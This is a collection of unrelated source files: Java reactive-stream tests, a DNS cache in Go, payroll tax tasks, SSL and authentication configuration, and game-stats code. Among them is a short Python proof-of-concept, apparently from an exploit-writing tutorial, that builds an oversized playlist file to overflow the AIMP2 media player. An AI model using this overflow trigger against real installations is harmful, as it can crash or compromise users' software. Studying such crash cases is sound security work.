AssertSubscriber<String> subscriber = AssertSubscriber.create(0);
processor.subscribe(subscriber);
subscriber.request(1);
Thread.sleep(250);
processor.forceShutdown();
assertTrue(processor.awaitAndShutdown(1, TimeUnit.SECONDS));
}
@Test
public void testForceShutdownWhileWaitingForInitialRequest() throws InterruptedException {
TopicProcessor<String> processor = TopicProcessor.create("processor", 4);
Publisher<String> publisher = new CappedPublisher(2);
publisher.subscribe(processor);
AssertSubscriber<String> subscriber = AssertSubscriber.create(0);
processor.subscribe(subscriber);
processor.forceShutdown();
assertTrue(processor.awaitAndShutdown(5, TimeUnit.SECONDS));
}
/**
* Publishes {@link #nItems} data items in total after that any subscription.request is no-op.
*/
static class CappedPublisher implements Publisher<String> {
private Subscriber<? super String> subscriber;
private final int nItems;
public CappedPublisher(int nItems) {
this.nItems = nItems;
}
@Override
public void subscribe(Subscriber<? super String> s) {
subscriber = s;
s.onSubscribe(new Subscription() {
private int requested;
@Override
public void request(long n) {
long limit = Math.min(n, nItems - requested);
for (int i = 0; i < limit; i++) {
subscriber.onNext("" + i);
}
requested += limit;
}
@Override
public void cancel() {
}
});
}
}
@Test
public void testForceShutdownWhileWaitingForMoreData() throws InterruptedException {
TopicProcessor<String> processor = TopicProcessor.create("processor", 4);
Publisher<String> publisher = new CappedPublisher(2);
publisher.subscribe(processor);
AssertSubscriber<String> subscriber = AssertSubscriber.create(0);
processor.subscribe(subscriber);
subscriber.request(3);
Thread.sleep(250);
processor.forceShutdown();
assertTrue(processor.awaitAndShutdown(5, TimeUnit.SECONDS));
}
@Test
public void testForceShutdownAfterShutdown() throws InterruptedException {
TopicProcessor<String> processor = TopicProcessor.create("processor", 4);
Publisher<String> publisher = Flux.fromArray(new String[] { "1", "2", "3", "4", "5" });
publisher.subscribe(processor);
AssertSubscriber<String> subscriber = AssertSubscriber.create(0);
processor.subscribe(subscriber);
subscriber.request(1);
Thread.sleep(250);
processor.shutdown();
assertFalse(processor.awaitAndShutdown(400, TimeUnit.MILLISECONDS));
processor.forceShutdown();
assertTrue(processor.awaitAndShutdown(400, TimeUnit.MILLISECONDS));
}
@Test
public void testShutdown() {
for (int i = 0; i < 1000; i++) {
TopicProcessor<?> dispatcher = TopicProcessor.create("rb-test-dispose", 16);
dispatcher.awaitAndShutdown();
}
}
@Test
public void drainTest() throws Exception {
final TopicProcessor<Integer> sink = TopicProcessor.create("topic");
sink.onNext(1);
sink.onNext(2);
sink.onNext(3);
sink.forceShutdown()
.subscribeWith(AssertSubscriber.create())
.assertComplete()
.assertValues(1, 2, 3);
}
static Subscriber<String> sub(String name, CountDownLatch latch) {
return new Subscriber<String>() {
Subscription s;
@Override
public void onSubscribe(Subscription s) {
this.s = s;
s.request(1);
}
@Override
public void onNext(String o) {
latch.countDown();
s.request(1);
}
@Override
public void onError(Throwable t) {
t.printStackTrace();
}
@Override
public void onComplete() {
//latch.countDown()
}
};
}
@Test
public void chainedTopicProcessor() throws Exception{
ExecutorService es = Executors.newFixedThreadPool(2);
try {
TopicProcessor<String> bc = TopicProcessor.create(es, 16);
int elems = 100;
CountDownLatch latch = new CountDownLatch(elems);
bc.subscribe(sub("spec1", latch));
Flux.range(0, elems)
.map(s -> "hello " + s)
.subscribe(bc);
assertTrue(latch.await(5000, TimeUnit.MILLISECONDS));
}
finally {
es.shutdown();
}
}
@Test
public void testTopicProcessorGetters() {
final int TEST_BUFFER_SIZE = 16;
TopicProcessor<Object> processor = TopicProcessor.create("testProcessor", TEST_BUFFER_SIZE);
assertEquals(TEST_BUFFER_SIZE, processor.getAvailableCapacity());
processor.awaitAndShutdown();
}
@Test(expected = IllegalArgumentException.class)
public void failNullBufferSize() {
TopicProcessor.create("test", 0);
}
@Test(expected = IllegalArgumentException.class)
public void failNonPowerOfTwo() {
TopicProcessor.create("test", 3);
}
@Test(expected = IllegalArgumentException.class)
public void failNegativeBufferSize() {
TopicProcessor.create("test", -1);
}
//see https://github.com/reactor/reactor-core/issues/445
@Test(timeout = 5_000)
public void testBufferSize1Shared() throws Exception {
TopicProcessor<String> broadcast = TopicProcessor.share("share-name", 1, true);
int simultaneousSubscribers = 3000;
CountDownLatch latch = new CountDownLatch(simultaneousSubscribers);
Scheduler scheduler = Schedulers.single();
FluxSink<String> sink = broadcast.sink();
Flux<String> flux = broadcast.filter(Objects::nonNull)
.publishOn(scheduler)
.cache(1);
for (int i = 0; i < simultaneousSubscribers; i++) {
flux.subscribe(s -> latch.countDown());
}
sink.next("data");
assertThat(latch.await(4, TimeUnit.SECONDS))
.overridingErrorMessage("Data not received")
.isTrue();
}
//see https://github.com/reactor/reactor-core/issues/445
@Test(timeout = 5_000)
public void testBufferSize1Created() throws Exception {
TopicProcessor<String> broadcast = TopicProcessor.create("share-name", 1, true);
int simultaneousSubscribers = 3000;
CountDownLatch latch = new CountDownLatch(simultaneousSubscribers);
Scheduler scheduler = Schedulers.single();
FluxSink<String> sink = broadcast.sink();
Flux<String> flux = broadcast.filter(Objects::nonNull)
.publishOn(scheduler)
.cache(1);
for (int i = 0; i < simultaneousSubscribers; i++) {
flux.subscribe(s -> latch.countDown());
}
sink.next("data");
assertThat(latch.await(4, TimeUnit.SECONDS))
.overridingErrorMessage("Data not received")
.isTrue();
}
@Test
public void testDefaultRequestTaskThreadName() {
String mainName = "topicProcessorRequestTask";
String expectedName = mainName + "[request-task]";
TopicProcessor<Object> processor = TopicProcessor.create(mainName, 8);
processor.requestTask(Operators.cancelledSubscription());
Thread[] threads = new Thread[Thread.activeCount()];
Thread.enumerate(threads);
//cleanup to avoid visibility in other tests
processor.forceShutdown();
Condition<Thread> defaultRequestTaskThread = new Condition<>(
thread -> expectedName.equals(thread.getName()),
"a thread named \"%s\"", expectedName);
Assertions.assertThat(threads)
.haveExactly(1, defaultRequestTaskThread);
}
@Test
public void testCustomRequestTaskThreadName() {
String expectedName = "topicProcessorRequestTaskCreate";
//NOTE: the below single executor should not be used usually as requestTask assumes it immediately gets executed
ExecutorService customTaskExecutor = Executors.newSingleThreadExecutor(r -> new Thread(r, expectedName));
TopicProcessor<Object> processor = TopicProcessor.create(
Executors.newCachedThreadPool(), customTaskExecutor,
8, WaitStrategy.liteBlocking(), true);
processor.requestTask(Operators.cancelledSubscription());
Thread[] threads = new Thread[Thread.activeCount()];
Thread.enumerate(threads);
//cleanup to avoid visibility in other tests
customTaskExecutor.shutdownNow();
processor.forceShutdown();
Condition<Thread> customRequestTaskThread = new Condition<>(
thread -> expectedName.equals(thread.getName()),
"a thread named \"%s\"", expectedName);
Assertions.assertThat(threads)
.haveExactly(1, customRequestTaskThread);
}
@Test
public void testCustomRequestTaskThreadShare() {
String expectedName = "topicProcessorRequestTaskShare";
//NOTE: the below single executor should not be used usually as requestTask assumes it immediately gets executed
ExecutorService customTaskExecutor = Executors.newSingleThreadExecutor(r -> new Thread(r, expectedName));
TopicProcessor<Object> processor = TopicProcessor.share(
Executors.newCachedThreadPool(), customTaskExecutor,
8, WaitStrategy.liteBlocking(), true);
processor.requestTask(Operators.cancelledSubscription());
Thread[] threads = new Thread[Thread.activeCount()];
Thread.enumerate(threads);
//cleanup to avoid visibility in other tests
customTaskExecutor.shutdownNow();
processor.forceShutdown();
Condition<Thread> customRequestTaskThread = new Condition<>(
thread -> expectedName.equals(thread.getName()),
"a thread named \"%s\"", expectedName);
Assertions.assertThat(threads)
.haveExactly(1, customRequestTaskThread);
}
@Test
public void customRequestTaskThreadRejectsNull() {
ExecutorService customTaskExecutor = null;
Assertions.assertThatExceptionOfType(NullPointerException.class)
.isThrownBy(() -> new TopicProcessor<>(
Thread::new,
Executors.newCachedThreadPool(),
customTaskExecutor,
8, WaitStrategy.liteBlocking(), true, true, Object::new)
);
}
}
|
brettweavnet/outliers | lib/outliers/resources/aws/elb/load_balancer_collection.rb | module Outliers
module Resources
module Aws
module Elb
class LoadBalancerCollection < Collection
def load_all
connect.load_balancers.map {|r| resource_class.new r}
end
end
end
end
end
end
|
Elgaeb/ml-harmonize | src/main/java/com/marklogic/service/SSLConfigService.java | package com.marklogic.service;
import com.marklogic.client.ext.modulesloader.ssl.SimpleX509TrustManager;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.core.io.Resource;
import org.springframework.stereotype.Component;
import javax.net.ssl.SSLContext;
import javax.net.ssl.TrustManager;
import javax.net.ssl.TrustManagerFactory;
import javax.net.ssl.X509TrustManager;
import java.io.IOException;
import java.io.InputStream;
import java.security.*;
import java.security.cert.CertificateException;
@Component
public class SSLConfigService {
private final boolean ssl;
private final SSLContext sslContext;
private final X509TrustManager trustManager;
public SSLConfigService(
@Value("${marklogic.truststore:#{null}}") Resource truststore,
@Value("${marklogic.truststoreFormat:PKCS12}") String truststoreFormat,
@Value("${marklogic.truststorePassword:#{null}}") String truststorePassword,
@Value("${marklogic.ssl:false}") boolean ssl,
@Value("${marklogic.verifyTrust:true}") boolean verifyTrust,
@Value("${marklogic.verifyHostname:true}") boolean verifyHostname
) throws NoSuchAlgorithmException, CertificateException, KeyStoreException, IOException, KeyManagementException {
this.ssl = ssl;
if (this.ssl) {
this.trustManager =
verifyTrust ?
(truststore == null ?
makeDefaultTrustManager() :
makeTrustManager(truststore, truststoreFormat, truststorePassword)) :
new SimpleX509TrustManager();
TrustManager[] trustManagers = {trustManager};
sslContext = SSLContext.getInstance("TLS");
sslContext.init(null, trustManagers, new SecureRandom());
} else {
this.sslContext = SSLContext.getDefault();
this.trustManager = makeDefaultTrustManager();
}
}
private X509TrustManager makeDefaultTrustManager() throws NoSuchAlgorithmException, KeyStoreException {
TrustManagerFactory trustManagerFactory = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
trustManagerFactory.init((KeyStore) null);
for (TrustManager trustManager : trustManagerFactory.getTrustManagers()) {
if (trustManager instanceof X509TrustManager) {
return (X509TrustManager) trustManager;
}
}
return null;
}
private X509TrustManager makeTrustManager(Resource truststoreLocation, String truststoreFormat, String truststorePassword) throws NoSuchAlgorithmException, KeyStoreException, IOException, CertificateException {
KeyStore truststore = KeyStore.getInstance(truststoreFormat);
try (InputStream truststoreInput = truststoreLocation.getInputStream()) {
truststore.load(truststoreInput, truststorePassword.toCharArray());
}
TrustManagerFactory trustManagerFactory = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
trustManagerFactory.init(truststore);
for (TrustManager trustManager : trustManagerFactory.getTrustManagers()) {
if (trustManager instanceof X509TrustManager) {
return (X509TrustManager) trustManager;
}
}
return null;
}
public X509TrustManager trustManager() {
return this.trustManager;
}
public SSLContext sslContext() {
return this.sslContext;
}
public boolean isSsl() {
return this.ssl;
}
}
|
stoizner/yakjs | server/src/routes/v1/upload/fileContainer.js | <reponame>stoizner/yakjs
'use strict';
function FileContainer() {
/**
* @type {string}
*/
this.filename = null;
/**
* UTF8 file content.
* @type {string}
*/
this.content = null;
}
module.exports = FileContainer;
|
PaulForgey/dns | nsdb/cache.go | package nsdb
import (
"container/heap"
"errors"
"sync"
"sync/atomic"
"time"
"tessier-ashpool.net/dns"
)
// MaxItems and LowItems may be changed at runtime
var MaxItems = 2000 // maximum cache entries
var LowItems = 1500 // entries purge down to
// the Cache type is a specialization of Memory which expires records
type Cache struct {
*Memory
lk *sync.Mutex // we are mutating existing records from the Memory backend
items cacheItems // minheap where oldest entries will pop out
index map[string]*cacheItem // cache index
stats *CacheStats
}
// the CacheStats type is the actual type returns by the Stats interface method
type CacheStats struct {
MemoryStats *MemoryStats
PurgeableEntries int32
Hits int32
Misses int32
Ejections int32
}
type cacheItem struct {
name dns.Name
used time.Time
index int
}
type cacheItems []*cacheItem
func (c cacheItems) Len() int { return len(c) }
func (c cacheItems) Less(i, j int) bool { return c[i].used.Before(c[j].used) }
func (c cacheItems) Swap(i, j int) {
c[i], c[j] = c[j], c[i]
c[i].index, c[j].index = i, j
}
func (c *cacheItems) Push(item interface{}) {
index := len(*c)
ci := item.(*cacheItem)
ci.index = index
*c = append(*c, ci)
}
func (c *cacheItems) Pop() interface{} {
oc := *c
n := len(oc)
ci := oc[n-1]
oc[n-1] = nil
ci.index = -1
*c = oc[0 : n-1]
return ci
}
func NewCache() *Cache {
m := NewMemory()
return &Cache{
Memory: m,
lk: &sync.Mutex{},
index: make(map[string]*cacheItem),
stats: &CacheStats{MemoryStats: m.Stats().(*MemoryStats)},
}
}
func (c *Cache) Stats() interface{} {
return c.stats
}
func (c *Cache) touch_locked(now time.Time, name dns.Name) {
key := name.Key()
ci, ok := c.index[key]
if !ok {
ci = &cacheItem{
name: name,
used: now,
}
heap.Push(&c.items, ci)
c.index[key] = ci
} else {
ci.used = now
heap.Fix(&c.items, ci.index)
}
if c.items.Len() > MaxItems {
for c.items.Len() > LowItems {
ci := heap.Pop(&c.items).(*cacheItem)
c.Memory.Enter(ci.name, nil)
delete(c.index, ci.name.Key())
}
}
atomic.StoreInt32(&c.stats.PurgeableEntries, int32(c.items.Len()))
}
func (c *Cache) remove_locked(name dns.Name) {
key := name.Key()
ci, ok := c.index[key]
if ok {
heap.Remove(&c.items, ci.index)
delete(c.index, key)
}
atomic.StoreInt32(&c.stats.PurgeableEntries, int32(c.items.Len()))
}
func (c *Cache) Lookup(name dns.Name) (*RRMap, error) {
return c.lookup(time.Now(), name)
}
func (c *Cache) lookup(now time.Time, name dns.Name) (*RRMap, error) {
c.lk.Lock()
defer c.lk.Unlock()
value, err := c.Memory.Lookup(name)
if errors.Is(err, dns.NXDomain) && value != nil {
if now.Before(value.Negative) {
atomic.AddInt32(&c.stats.Hits, 1)
err = ErrNegativeAnswer
} else {
atomic.AddInt32(&c.stats.Ejections, 1)
c.Memory.Enter(name, nil)
}
return nil, err
}
if err != nil {
atomic.AddInt32(&c.stats.Misses, 1)
return nil, err
}
if value.Expire(now) {
atomic.AddInt32(&c.stats.Ejections, 1)
c.Memory.Enter(name, nil)
return nil, dns.NXDomain
}
if !value.Sticky {
c.touch_locked(now, name)
}
atomic.AddInt32(&c.stats.Hits, 1)
return value, nil
}
func (c *Cache) Enter(name dns.Name, value *RRMap) error {
return c.enter(time.Now(), name, value)
}
func (c *Cache) enter(now time.Time, name dns.Name, value *RRMap) error {
c.lk.Lock()
if value != nil {
if !value.Sticky {
c.touch_locked(now, name)
}
} else {
c.remove_locked(name)
}
c.lk.Unlock()
return c.Memory.Enter(name, value)
}
|
iphelix/exploits | corelan/aimp2/poc1.py | <filename>corelan/aimp2/poc1.py
#!/usr/bin/env python
# PoC1.py
header = "[playlist]\nNumberOfEntries=1\n\n"
header+= "File1="
junk = "A"*5000
payload = header + junk + "\n"
f = open('playlist.pls','w')
f.write(payload)
f.close()
|
jodeci/fortuna | lib/tasks/gov.rake | <filename>lib/tasks/gov.rake<gh_stars>1-10
# frozen_string_literal: true
namespace :gov do
desc "所得稅、二代健保"
task payment: :environment do
unless ENV["year"] && ENV["month"]
abort "usage: rake gov:payment year=2018 month=2"
end
puts "公司統一編號 #{ENV['company_tax_id']}"
puts "勞保投保代號 #{ENV['company_labor_insurance_id']}"
puts "健保投保代號 #{ENV['company_health_insurance_id']}"
puts "------"
tax_a = 0
tax_b = 0
tax_c = 0
health63 = 0
health65 = 0
Payroll.where(year: ENV["year"], month: ENV["month"]).map do |payroll|
next if payroll.employee.b2b?
if payroll.salary.regular_income?
tax_a += IncomeTaxService::InsurancedSalary.call(payroll)
tax_b += IncomeTaxService::IrregularIncome.call(payroll)
elsif payroll.salary.professional_service?
tax_c += IncomeTaxService::ProfessionalService.call(payroll)
health65 += HealthInsuranceService::ProfessionalService.call(payroll) unless payroll.salary.split?
else
next if payroll.salary.split?
tax_b += IncomeTaxService::UninsurancedSalary.call(payroll) if payroll.salary.parttime_income_uninsured_for_labor?
health63 += HealthInsuranceService::ParttimeIncome.call(payroll) if payroll.salary.parttime_income_uninsured_for_health?
end
end
puts "所得稅公司代扣 (151 薪資所得): #{tax_a}"
puts "所得稅公司代扣 (151 兼職/獎金所得): #{tax_b}"
puts "所得稅公司代扣 (156 執行專業所得): #{tax_c}"
health61 = HealthInsuranceService::CompanyCoverage.call(ENV["year"], ENV["month"])
puts "二代健保公司負擔(61): #{health61}"
health62 = HealthInsuranceService::CompanyWithholdBonus.call(ENV["year"], ENV["month"])
puts "二代健保公司代扣(62): #{health62}"
puts "二代健保公司代扣(63): #{health63}"
puts "二代健保公司代扣(65): #{health65}"
end
end
|
CanadaHealthInfoway/message-builder | message-builder-hello-world/src/main/java/ca/infoway/messagebuilder/guide/examples/devtools/GenerateSampleMessage.java | <reponame>CanadaHealthInfoway/message-builder<gh_stars>1-10
/**
* Copyright 2013 Canada Health Infoway, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* Author: $LastChangedBy: tmcgrady $
* Last modified: $LastChangedDate: 2011-05-04 16:47:15 -0300 (Wed, 04 May 2011) $
* Revision: $LastChangedRevision: 2623 $
*/
package ca.infoway.messagebuilder.guide.examples.devtools;
import java.io.File;
import ca.infoway.messagebuilder.SpecificationVersion;
import ca.infoway.messagebuilder.VersionNumber;
import ca.infoway.messagebuilder.model.InteractionBean;
import ca.infoway.messagebuilder.model.pcs_mr2009_r02_04_02.interaction.FindCandidatesQueryBean;
import ca.infoway.messagebuilder.util.messagegenerator.InteractionPopulatingUtility;
import ca.infoway.messagebuilder.util.messagegenerator.InteractionPopulatingUtility.ChoiceOption;
import ca.infoway.messagebuilder.util.messagegenerator.InteractionPopulatingUtility.ConformanceOption;
import ca.infoway.messagebuilder.util.messagegenerator.InteractionPopulatingUtility.MultipleCardinalityOption;
import ca.infoway.messagebuilder.util.messagegenerator.SampleMessageGenerator;
public class GenerateSampleMessage {
private static final VersionNumber versionNumber = SpecificationVersion.R02_04_02;
public static void main(final String[] args) throws Exception {
GenerateSampleMessage app = new GenerateSampleMessage();
app.run(args);
}
public void run(final String args[]) {
// *********************************************************************
// README:
// There are numerous ways to generate sample messages as illustrated below.
// You can run the code below and see how it works.
// Further documentation can be found on InfoCentral - https://infocentral.infoway-inforoute.ca/3_Tools_and_solutions/Message_Builder/User_Guide/4_Advanced_Usage/Sample_Message_Generator
// *********************************************************************
SampleMessageGenerator sampleMessageGenerator;
String message = "";
// *********************************************************************
// Generate a sample message with default settings
// *********************************************************************
sampleMessageGenerator = new SampleMessageGenerator();
message = sampleMessageGenerator.generateSampleMessage("PRPA_IN101103CA", versionNumber);
System.out.println("Generate a sample message with default settings for version " + versionNumber + " ...");
System.out.println(message + "\n\n");
// *********************************************************************
// Generate a sample message with custom settings
// *********************************************************************
sampleMessageGenerator = new SampleMessageGenerator();
message = sampleMessageGenerator.generateSampleMessage("PRPA_IN101103CA", versionNumber, ConformanceOption.ALL, MultipleCardinalityOption.MAXIMUM_WITH_LIMIT_3, ChoiceOption.ALWAYS_LAST);
System.out.println("Generate a sample message with custom settings for version " + versionNumber + " ...");
System.out.println(message + "\n\n");
// *********************************************************************
// Generate a sample message with a custom datatype value store (ie. custom sample values)
// *********************************************************************
sampleMessageGenerator = new SampleMessageGenerator(new MyDefaultDataTypeValueStore());
message = sampleMessageGenerator.generateSampleMessage("PRPA_IN101103CA", versionNumber);
System.out.println("Generate a sample message with a custom datatype value store for version " + versionNumber + " ...");
System.out.println(message + "\n\n");
// *********************************************************************
// Generate all samples messages for a specific version
// *********************************************************************
sampleMessageGenerator = new SampleMessageGenerator();
File file = new File("C:\\message_builder_sample_messages"); // define the folder where to store all the sample messages
System.out.println("Generate all sample messages for version " + versionNumber + " ...");
sampleMessageGenerator.generateSampleMessagesForAllInteractions(versionNumber, file);
// *********************************************************************
// Generate all samples messages for a specific version
// *********************************************************************
InteractionPopulatingUtility ipu = new InteractionPopulatingUtility();
InteractionBean unKnownInteraction = ipu.createAndPopulateInteraction("PRPA_IN101103CA", versionNumber);
FindCandidatesQueryBean interaction = (FindCandidatesQueryBean) unKnownInteraction;
System.out.println("Convert a sample message to java bean and read from it...");
System.out.println("interaction id is " + interaction.getId());
}
}
|
ScalablyTyped/SlinkyTyped | u/uirouter__angularjs/src/main/scala/typingsSlinky/uirouterAngularjs/stateEventsMod.scala | <reponame>ScalablyTyped/SlinkyTyped<gh_stars>10-100
package typingsSlinky.uirouterAngularjs
import typingsSlinky.angular.mod.IAngularEvent
import org.scalablytyped.runtime.StObject
import scala.scalajs.js
import scala.scalajs.js.`|`
import scala.scalajs.js.annotation.{JSGlobalScope, JSGlobal, JSImport, JSName, JSBracketAccess}
object stateEventsMod {
@JSImport("@uirouter/angularjs/lib/legacy/stateEvents", JSImport.Namespace)
@js.native
val ^ : js.Any = js.native
@JSImport("@uirouter/angularjs/lib/legacy/stateEvents", "$stateChangeCancel")
@js.native
def stateChangeCancel: IAngularEvent = js.native
@scala.inline
def stateChangeCancel_=(x: IAngularEvent): Unit = ^.asInstanceOf[js.Dynamic].updateDynamic("$stateChangeCancel")(x.asInstanceOf[js.Any])
@JSImport("@uirouter/angularjs/lib/legacy/stateEvents", "$stateChangeError")
@js.native
def stateChangeError: IAngularEvent = js.native
@scala.inline
def stateChangeError_=(x: IAngularEvent): Unit = ^.asInstanceOf[js.Dynamic].updateDynamic("$stateChangeError")(x.asInstanceOf[js.Any])
@JSImport("@uirouter/angularjs/lib/legacy/stateEvents", "$stateChangeStart")
@js.native
def stateChangeStart: IAngularEvent = js.native
@scala.inline
def stateChangeStart_=(x: IAngularEvent): Unit = ^.asInstanceOf[js.Dynamic].updateDynamic("$stateChangeStart")(x.asInstanceOf[js.Any])
@JSImport("@uirouter/angularjs/lib/legacy/stateEvents", "$stateChangeSuccess")
@js.native
def stateChangeSuccess: IAngularEvent = js.native
@scala.inline
def stateChangeSuccess_=(x: IAngularEvent): Unit = ^.asInstanceOf[js.Dynamic].updateDynamic("$stateChangeSuccess")(x.asInstanceOf[js.Any])
@JSImport("@uirouter/angularjs/lib/legacy/stateEvents", "$stateNotFound")
@js.native
def stateNotFound: IAngularEvent = js.native
@scala.inline
def stateNotFound_=(x: IAngularEvent): Unit = ^.asInstanceOf[js.Dynamic].updateDynamic("$stateNotFound")(x.asInstanceOf[js.Any])
}
|
Request404/WebsiteDesginFor4 | website_back_end/src/main/java/com/hey/request/security/config/UserAuthenticationProvider.java | <reponame>Request404/WebsiteDesginFor4
package com.hey.request.security.config;
import com.hey.request.security.entity.SysUserDetails;
import com.hey.request.security.service.SysUserDetailsService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.authentication.AuthenticationProvider;
import org.springframework.security.authentication.BadCredentialsException;
import org.springframework.security.authentication.LockedException;
import org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.AuthenticationException;
import org.springframework.security.core.userdetails.UsernameNotFoundException;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
@Configuration
public class UserAuthenticationProvider implements AuthenticationProvider {
@Autowired
private SysUserDetailsService userDetailsService;
/**
* 身份验证
*/
@Override
public Authentication authenticate(Authentication authentication) throws AuthenticationException {
String username = (String) authentication.getPrincipal(); // 获取用户名
String password = (String) authentication.getCredentials(); // 获取密码
SysUserDetails sysUserDetails = (SysUserDetails) userDetailsService.loadUserByUsername(username);
if (sysUserDetails == null) {
throw new UsernameNotFoundException("用户名不存在");
}
if (!new BCryptPasswordEncoder().matches(password, sysUserDetails.getPassword())) {
throw new BadCredentialsException("用户名或密码错误");
}
if (sysUserDetails.getState() == -1) {
throw new LockedException("用户已禁用");
}
return new UsernamePasswordAuthenticationToken(sysUserDetails, password, sysUserDetails.getAuthorities());
}
/**
* 支持指定的身份验证
*/
@Override
public boolean supports(Class<?> authentication) {
return true;
}
} |
muchnameless/SkyHelperAPI | stats/mining.js | const { getHotM, perks, forgeItemTimes } = require('../constants/mining');
const { toFixed, titleCase } = require('../constants/functions');
const getSkills = require('./skills');
module.exports = (player, profile) => {
const mining_stats = profile?.mining_core;
const player_perks = [];
const disabled_perks = [];
for (const perk in Object.keys(mining_stats?.nodes || {}) || []) {
if (!Object.keys(mining_stats.nodes)[perk].startsWith('toggle_')) {
const currentPerk = perks[Object.keys(mining_stats.nodes)[perk]];
player_perks.push({ name: currentPerk.name, id: currentPerk.id, level: Object.values(mining_stats.nodes)[perk], maxLevel: currentPerk.max });
} else {
disabled_perks.push(Object.keys(mining_stats.nodes)[perk].substring(7));
}
}
for (let statue of mining_stats?.biomes?.dwarven?.statues_placed || []) {
statue = titleCase(statue);
}
for (let part of mining_stats?.biomes?.precursor?.parts_delivered || []) {
part = titleCase(part, true);
}
//Check if player has the "Quick Forge" perk in the Heart of the Mountain and change the duration of the items in the forge accordingly
if (mining_stats?.nodes?.quick_forge) {
for (const item of Object.keys(forgeItemTimes)) {
const lessForgingTime = miningapi.mining_core.nodes.forge_time <= 19 ? 0.1 + miningapi.mining_core.nodes.forge_time * 0.005 : 0.3;
forgeItemTimes[item].duration = forgeItemTimes[item].duration - forgeItemTimes[item].duration * lessForgingTime;
}
}
//Forge Display
const forge_api = profile.forge?.forge_processes || [];
const forge = [];
for (const forge_types of Object.values(forge_api)) {
for (const item of Object.values(forge_types)) {
if (item?.id === 'PET') item.id = 'AMMONITE';
forge.push({
slot: item.slot,
item: forgeItemTimes[item.id]?.name || 'Unknown',
id: item.id === 'AMMONITE' ? 'PET' : item.id,
ending: Number((item.startTime + forgeItemTimes[item.id]?.duration || 0).toFixed()),
ended: item.startTime + forgeItemTimes[item.id]?.duration || 0 < Date.now() ? true : false,
});
}
}
return {
mining: getSkills(player, profile).mining?.level || 0,
mithril_powder: { current: mining_stats?.powder_mithril_total || 0, total: (mining_stats?.powder_mithril_total || 0) + (mining_stats?.powder_spent_mithril || 0) },
gemstone_powder: { current: mining_stats?.powder_gemstone_total || 0, total: (mining_stats?.powder_gemstone_total || 0) + (mining_stats?.powder_spent_gemstone || 0) },
hotM_tree: {
tokens: { current: mining_stats?.tokens || 0, total: mining_stats?.tokens || 0 + mining_stats?.tokens_spent || 0 },
level: mining_stats?.experience ? Number(toFixed(getHotM(mining_stats?.experience))) : 0,
perks: player_perks,
disabled_perks: disabled_perks,
last_reset: mining_stats?.last_reset || null,
pickaxe_ability: perks[mining_stats?.selected_pickaxe_ability]?.name || null,
},
crystal_hollows: {
last_pass: mining_stats?.greater_mines_last_access || null,
crystals: [
{
name: 'Jade Crystal',
id: 'jade_crystal',
total_placed: mining_stats?.crystals?.jade_crystal?.total_placed || 0,
statues_placed: mining_stats?.biomes?.dwarven?.statues_placed || [],
state: titleCase(mining_stats?.crystals?.jade_crystal?.state || 'Not Found', true),
},
{
name: '<NAME>',
total_placed: mining_stats?.crystals?.amber_crystal?.total_placed || 0,
king_quests_completed: mining_stats?.biomes?.goblin?.king_quests_completed || 0,
state: titleCase(mining_stats?.crystals?.amber_crystal?.state || 'Not Found', true),
},
{
name: '<NAME>',
total_placed: mining_stats?.crystals?.sapphire_crystal?.total_placed || 0,
parts_delivered: mining_stats?.biomes?.precursor?.parts_delivered || [],
state: titleCase(mining_stats?.crystals?.sapphire_crystal?.state || 'Not Found', true),
},
{
name: '<NAME>',
total_placed: mining_stats?.crystals?.amethyst_crystal?.total_placed || 0,
state: titleCase(mining_stats?.crystals?.amethyst_crystal?.state || 'Not Found', true),
},
{
name: '<NAME>ystal',
total_placed: mining_stats?.crystals?.topaz_crystal?.total_placed || 0,
state: titleCase(mining_stats?.crystals?.topaz_crystal?.state || 'Not Found', true),
},
{
name: '<NAME>',
total_placed: mining_stats?.crystals?.jasper_crystal?.total_placed || 0,
state: titleCase(mining_stats?.crystals?.jasper_crystal?.state || 'Not Found', true),
},
{
name: 'Ruby Crystal',
total_placed: mining_stats?.crystals?.ruby_crystal?.total_placed || 0,
state: titleCase(mining_stats?.crystals?.ruby_crystal?.state || 'Not Found', true),
},
],
},
forge,
};
};
|
oxelson/gempak | gempak/source/nmaplib/nmp/nmpsave.c | <filename>gempak/source/nmaplib/nmp/nmpsave.c
#include "nmpcmn.h"
void nmp_save ( int *iret )
/************************************************************************
* nmp_save *
* *
* This function copies all the stored map array values into *
* the saved_map array, copies all the stored overlay array values into *
* the saved_overlay array. *
* *
* void nmp_save ( iret ) *
* *
* Input parameters: *
* Output parameters: *
* Return parameters: *
* *iret int Return code *
* *
** *
* Log: *
* <NAME>/GSC 05/01 Combine nmp_svmap & nmp_savovl *
* <NAME>/SAIC 08/01 save off default_overlay[] *
* <NAME>/SAIC 08/01 move default_overlay saving to nmp_init *
***********************************************************************/
{
int lp, ii;
/*---------------------------------------------------------------------*/
*iret = 0;
for (lp=0; lp<MAX_LOOP; lp++) {
/*
* Save map array values
*/
strcpy(saved_map[lp].imgfile, maps[lp].imgfile);
saved_map[lp].imgtyp = maps[lp].imgtyp;
strcpy(saved_map[lp].mapfile, maps[lp].mapfile);
strcpy(saved_map[lp].mapattr, maps[lp].mapattr);
strcpy(saved_map[lp].map, maps[lp].map);
strcpy(saved_map[lp].proj, maps[lp].proj);
strcpy(saved_map[lp].garea[0], maps[lp].garea[0]);
strcpy(saved_map[lp].garea[1], maps[lp].garea[1]);
saved_map[lp].mode = maps[lp].mode;
/*
* Save overlay array values
*/
saved_overlay[lp].novl = overlay[lp].novl;
for (ii =0; ii < saved_overlay[lp].novl; ii++ ) {
saved_overlay[lp].mapovl[ii].ityp = overlay[lp].mapovl[ii].ityp;
strcpy (saved_overlay[lp].mapovl[ii].attr,
overlay[lp].mapovl[ii].attr);
